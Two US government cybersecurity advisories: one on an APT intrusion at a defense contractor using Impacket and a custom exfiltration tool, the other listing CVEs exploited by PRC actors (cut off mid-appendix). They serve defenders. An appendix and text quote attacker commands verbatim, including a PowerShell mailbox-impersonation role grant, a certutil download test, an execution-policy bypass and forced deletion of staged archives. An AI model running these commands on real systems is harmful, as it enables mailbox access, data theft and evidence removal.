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AA22-277A: Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization

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Actions to Help Protect Against APT Cyber Activity:

• Enforce multifactor authentication (MFA) on all user accounts.
• Implement network segmentation to separate network segments based on role and functionality.
• Update software, including operating systems, applications, and firmware, on network assets.
• Audit account usage.

From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data.

This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks.

Download the PDF version of this report: pdf, 692 KB

For a downloadable copy of IOCs, see the following files:

Threat Actor Activity

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework.

From November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted –third-party identified APT activity on the victim’s network.

Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN).

Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2hedebug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system.

In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA MAR-10365227-2 and -3.

In April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information.

APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.

Use of Impacket

CISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py. These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network.

The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization’s multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange:

powershell add-pssnapin *exchange*;New-ManagementRoleAssignment – name:”Journaling-Logs” -Role:ApplicationImpersonation -User:<account>

This command gave the service account the ability to access other users’ mailboxes.

The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247.

Use of Custom Exfiltration Tool: CovalentStealer

The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files.

CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim’s documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA MAR-10365227-1 for additional technical details, including IOCs and detection signatures.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors.

Table 1: Identified APT Enterprise ATT&CK Tactics and Techniques

Initial Access

Technique Title

ID

Use

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Execution

Technique Title

ID

Use

Windows Management Instrumentation

T1047

Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.

Command and Scripting Interpreter

T1059

Actors abused command and script interpreters to execute commands.

Command and Scripting Interpreter: PowerShell

T1059.001

Actors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

Actors abused the Windows Command Shell to learn about the organization’s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

The actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell.

Command and Scripting Interpreter: Python

T1059.006

The actors used two Impacket tools: wmiexec.py and smbexec.py.

Shared Modules

T1129

Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.

System Services

T1569

Actors abused system services to execute commands or programs on the victim’s network.

Persistence

Technique Title

ID

Use

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.

Create or Modify System Process

T1543

Actors were observed creating or modifying system processes.

Privilege Escalation

Technique Title

ID

Use

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Defense Evasion

Technique Title

ID

Use

Masquerading: Match Legitimate Name or Location

T1036.005

Actors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation.

Indicator Removal on Host

T1070

Actors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses.

Indicator Removal on Host: File Deletion

T1070.004

Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards.

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Virtualization/Sandbox Evasion: System Checks

T1497.001

Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information.

Impair Defenses: Disable or Modify Tools

T1562.001

Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID.

Hijack Execution Flow

T1574

Actors were observed using hijack execution flow.

Discovery

Technique Title

ID

Use

System Network Configuration Discovery

T1016

Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine.

The threat actor used route print to display the entries in the local IP routing table.

System Network Configuration Discovery: Internet Connection Discovery

T1016.001

Actors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways.

System Owner/User Discovery

T1033

Actors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system.

System Network Connections Discovery

T1049

Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP.

Process Discovery

T1057

Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine.

The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers.”

System Information Discovery

T1082

Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine.

File and Directory Discovery

T1083

Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system.

Virtualization/Sandbox Evasion: System Checks

T1497.001

Actors used Windows command shell commands to detect and avoid virtualization and analysis environments.

Lateral Movement

Technique Title

ID

Use

Remote Services: SMB/Windows Admin Shares

T1021.002

Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user.

Collection

Technique Title

ID

Use

Archive Collected Data: Archive via Utility

T1560.001

Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration.

Data from Network Shared Drive

T1039

Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest.

The actors used dir.exe to display a list of a directory’s files and subdirectories matching a certain text string.

Data Staged: Remote Data Staging

T1074.002

The actors split collected files into approximately
3 MB chunks located on the Exchange server within the CU2hedebug directory.

Command and Control

Technique Title

ID

Use

Non-Application Layer Protocol

T1095

Actors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network.

Ingress Tool Transfer

T1105

Actors used the certutil command with three switches to test if they could download files from the internet.

The actors employed CovalentStealer to exfiltrate the files.

Proxy

T1090

Actors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely.

Exfiltration

Technique Title

ID

Use

Schedule Transfer

T1029

Actors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity.

Exfiltration Over Web Service: Exfiltration to Cloud Storage

T1567.002

The actor’s CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder.

DETECTION

Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to:

  • Monitor logs for connections from unusual VPSs and VPNs. Examine connection logs for access from unexpected ranges, particularly from machines hosted by SurfShark and M247.
  • Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). To detect use of compromised credentials in combination with a VPS, follow the steps below:
    • Review logs for “impossible logins,” such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location.
    • Search for “impossible travel,” which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). Note: This detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks.
    • Search for one IP used across multiple accounts, excluding expected logins.
      • Take note of any M247-associated IP addresses used along with VPN providers (e.g., SurfShark). Look for successful remote logins (e.g., VPN, OWA) for IPs coming from M247- or using SurfShark-registered IP addresses.
    • Identify suspicious privileged account use after resetting passwords or applying user account mitigations.
    • Search for unusual activity in typically dormant accounts.
    • Search for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
  • Review the YARA rules provided in MAR-10365227-1 to assist in determining whether malicious activity has been observed.
  • Monitor for the installation of unauthorized software, including Remote Server Administration Tools (e.g., psexec, RdClient, VNC, and ScreenConnect).
  • Monitor for anomalous and known malicious command-line use. See Appendix: Windows Command Shell Activity for commands used by the actors to interact with the victim’s environment.
  • Monitor for unauthorized changes to user accounts (e.g., creation, permission changes, and enabling a previously disabled account).

CONTAINMENT AND REMEDIATION

Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry:

  • Report the incident. Report the incident to U.S. Government authorities and follow your organization’s incident response plan.
  • Reset all login accounts. Reset all accounts used for authentication since it is possible that the threat actors have additional stolen credentials. Password resets should also include accounts outside of Microsoft Active Directory, such as network infrastructure devices and other non-domain joined devices (e.g., IoT devices).
  • Monitor SIEM logs and build detections. Create signatures based on the threat actor TTPs and use these signatures to monitor security logs for any signs of threat actor re-entry.
  • Enforce MFA on all user accounts. Enforce phishing-resistant MFA on all accounts without exception to the greatest extent possible.
  • Follow Microsoft’s security guidance for Active Directory—Best Practices for Securing Active Directory.
  • Audit accounts and permissions. Audit all accounts to ensure all unused accounts are disabled or removed and active accounts do not have excessive privileges. Monitor SIEM logs for any changes to accounts, such as permission changes or enabling a previously disabled account, as this might indicate a threat actor using these accounts.
  • Harden and monitor PowerShell by reviewing guidance in the joint Cybersecurity Information Sheet—Keeping PowerShell: Security Measures to Use and Embrace.

Mitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture.

Segment Networks Based on Function

  • Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for ransomware and other threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Infographic on Layering Network Security Through Segmentation and NSA’s Segment Networks and Deploy Application-Aware Defenses.)
  • Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt Zero Trust (ZT) principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration.

Manage Vulnerabilities and Configurations

  • Update software, including operating systems, applications, and firmware, on network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
  • Implement a configuration change control process that securely creates device configuration backups to detect unauthorized modifications. When a configuration change is needed, document the change, and include the authorization, purpose, and mission justification. Periodically verify that modifications have not been applied by comparing current device configurations with the most recent backups. If suspicious changes are observed, verify the change was authorized.

Search for Anomalous Behavior

  • Use cybersecurity visibility and analytics tools to improve detection of anomalous behavior and enable dynamic changes to policy and other response actions. Visibility tools include network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Monitor the use of scripting languages (e.g., Python, Powershell) by authorized and unauthorized users. Anomalous use by either group may be indicative of malicious activity, intentional or otherwise.

Restrict and Secure Use of Remote Admin Tools

  • Limit the number of remote access tools as well as who and what can be accessed using them. Reducing the number of remote admin tools and their allowed access will increase visibility of unauthorized use of these tools.
  • Use encrypted services to protect network communications and disable all clear text administration services(e.g., Telnet, HTTP, FTP, SNMP 1/2c). This ensures that sensitive information cannot be easily obtained by a threat actor capturing network traffic.

Implement a Mandatory Access Control Model

  • Implement stringent access controls to sensitive data and resources. Access should be restricted to those users who require access and to the minimal level of access needed.

Audit Account Usage

  • Monitor VPN logins to look for suspicious access (e.g., logins from unusual geo locations, remote logins from accounts not normally used for remote access, concurrent logins for the same account from different locations, unusual times of the day).
  • Closely monitor the use of administrative accounts. Admin accounts should be used sparingly and only when necessary, such as installing new software or patches. Any use of admin accounts should be reviewed to determine if the activity is legitimate.
  • Ensure standard user accounts do not have elevated privileges Any attempt to increase permissions on standard user accounts should be investigated as a potential compromise.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 1).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze the performance of your detection and prevention technologies.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services.

U.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email [email protected].

ACKNOWLEDGEMENTS

CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA.

APPENDIX: WINDOWS COMMAND SHELL ACTIVITY

Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. When interacting with the victim’s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed.

On the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization’s environment and to collect sensitive data for eventual exfiltration (see Table 2).

Table 2: Windows Command Shell Activity (Day 1)

Command

Description / Use

net share

Used to create, configure, and delete network shares from the command-line.[1] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit.

powershell dir

An alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[2] The threat actor added additional switches (aka options, parameters, or flags) to form a “one liner,” an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:<redacted>|select fullname,length|export-csv c:windowstemptemp.txt. This particular command lists subdirectories of the target environment when.

systeminfo

Displays detailed configuration information [3], tasklist – lists currently running processes [4], and ipconfig – displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [5]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /.

route print

Used to display and modify the entries in the local IP routing table. [6] The threat actor used this command to display the entries in the local IP routing table.

netstat

Used to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[7] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp.

certutil

Used to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[8] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f https://microsoft.com temp.html.

ping

Sends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[9] The threat actor used ping -n 2 apple.com to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions.

taskkill

Used to end tasks or processes.[10] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic.

PowerShell Compress-Archive cmdlet

Used to create a compressed archive or to zip files from specified files and directories.[11] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives.

On the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data.

Table 3: Windows Command Shell Activity (Day 2)

Command

Description / Use

ntfsinfo.exe

Used to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[12]

WinRAR.exe

Used to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[13]

On the third day, the APT cyber actors returned to the organization’s network and executed the commands in Table 4.

Table 4: Windows Command Shell Activity (Day 3)

Command

Description / Use

powershell -ep bypass import-module .vmware.ps1;export-mft -volume e

Threat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[14]

set.exe

Used to display the current environment variable settings.[15] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same).

dir.exe

Used to display a list of a directory’s files and subdirectories matching the eagx* text string, likely to confirm the existence of such file.

tasklist.exe and find.exe

Used to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers”.[16][17][18]

ping.exe

Used to send two ICMP echos to amazon.com. This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[19]

del.exe with the /f parameter

Used to force the deletion of read-only files with the *.rar and tempg* wildcards.[20]

source

AA22-279A: Top CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors

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CVEs Actively Exploited

Summary

This joint Cybersecurity Advisory (CSA) provides the top Common Vulnerabilities and Exposures (CVEs) used since 2020 by People’s Republic of China (PRC) state-sponsored cyber actors as assessed by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). PRC state-sponsored cyber actors continue to exploit known vulnerabilities to actively target U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks.

This joint CSA builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).

NSA, CISA, and FBI urge U.S. and allied governments, critical infrastructure, and private sector organizations to apply the recommendations listed in the Mitigations section and Appendix A to increase their defensive posture and reduce the threat of compromise from PRC state-sponsored malicious cyber actors.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage, FBI’s Industry Alerts, and NSA’s Cybersecurity Advisories & Guidance. 

Download the PDF version of this report: pdf, 409 KB

 

Technical Details

NSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques—some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.

PRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.

Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020

Vendor

CVE

Vulnerability Type

Apache Log4j

CVE-2021-44228

Remote Code Execution

Pulse Connect Secure

CVE-2019-11510

Arbitrary File Read

GitLab CE/EE

CVE-2021-22205

Remote Code Execution

Atlassian

CVE-2022-26134

Remote Code Execution

Microsoft Exchange

CVE-2021-26855

Remote Code Execution

F5 Big-IP

CVE-2020-5902

Remote Code Execution

VMware vCenter Server

CVE-2021-22005

Arbitrary File Upload

Citrix ADC

CVE-2019-19781

Path Traversal

Cisco Hyperflex

CVE-2021-1497

Command Line Execution

Buffalo WSR

CVE-2021-20090

Relative Path Traversal

Atlassian Confluence Server and Data Center

CVE-2021-26084

Remote Code Execution

Hikvision Webserver

CVE-2021-36260

Command Injection

Sitecore XP

CVE-2021-42237

Remote Code Execution

F5 Big-IP

CVE-2022-1388

Remote Code Execution

Apache

CVE-2022-24112

Authentication Bypass by Spoofing

ZOHO

CVE-2021-40539

Remote Code Execution

Microsoft

CVE-2021-26857

Remote Code Execution

Microsoft

CVE-2021-26858

Remote Code Execution

Microsoft

CVE-2021-27065

Remote Code Execution

Apache HTTP Server

CVE-2021-41773

Path Traversal

These state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices.

 

Mitigations

NSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.

  • Update and patch systems as soon as possible. Prioritize patching vulnerabilities identified in this CSA and other known exploited vulnerabilities.
  • Utilize phishing-resistant multi-factor authentication whenever possible. Require all accounts with password logins to have strong, unique passwords, and change passwords immediately if there are indications that a password may have been compromised. 
  • Block obsolete or unused protocols at the network edge. 
  • Upgrade or replace end-of-life devices.
  • Move toward the Zero Trust security model. 
  • Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity. 

Appendix A

Table II: Apache CVE-2021-44228

Apache CVE-2021-44228 CVSS 3.0: 10 (Critical)

Vulnerability Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Recommended Mitigations

  • Apply patches provided by vendor and perform required system updates.

Detection Methods

Vulnerable Technologies and Versions

There are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check https://nvd.nist.gov/vuln/detail/CVE-2021-44228.

Table III: Pulse CVE-2019-11510

Pulse CVE-2019-11510 CVSS 3.0: 10 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability.

Recommended Mitigations

  • Apply patches provided by vendor and perform required system updates.

Detection Methods

  • Use CISA’s “Check Your Pulse” Tool.

Vulnerable Technologies and Versions

Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4

Table IV: GitLab CVE-2021-22205

GitLab CVE-2021-22205 CVSS 3.0: 10 (Critical)

Vulnerability Description

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution.

Recommended Mitigations

  • Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab.
  • Hotpatch is available via GitLab.

Detection Methods

  • Investigate logfiles.
  • Check GitLab Workhorse.

Vulnerable Technologies and Versions

Gitlab CE/EE.

Table V: Atlassian CVE-2022-26134

Atlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1.

Recommended Mitigations 

  • Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions. 
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.
  • Short term workaround is provided here.

Detection Methods

N/A

Vulnerable Technologies and Versions

All supported versions of Confluence Server and Data Center

Confluence Server and Data Center versions after 1.3.0

Table VI: Microsoft CVE-2021-26855

Microsoft CVE-2021-26855                                                     CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Microsoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor  who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity.

Recommended Mitigations

  • Apply the appropriate Microsoft Security Update.
  • Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871)
  • Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871)
  • Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871)
  • Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871)
  • Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871)
  • Restrict untrusted connections.

Detection Methods

  • Analyze Exchange product logs for evidence of exploitation.
  • Scan for known webshells.

Vulnerable Technologies and Versions

Microsoft Exchange 2013, 2016, and 2019.

Table VII: F5 CVE-2020-5902

Table VIII: VMware CVE-2021-22005

VMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.

Recommended Mitigations

Detection Methods

N/A

Vulnerable Technologies and Versions

VMware Cloud Foundation

VMware VCenter Server

Table IX: Citrix CVE-2019-19781

Citrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

Recommended Mitigations

Detection Methods

N/A

Vulnerable Technologies and Versions

Citrix ADC, Gateway, and SD-WAN WANOP

Table X: Cisco CVE-2021-1497

Cisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory.

Recommended Mitigations

  • Apply Cisco software updates.

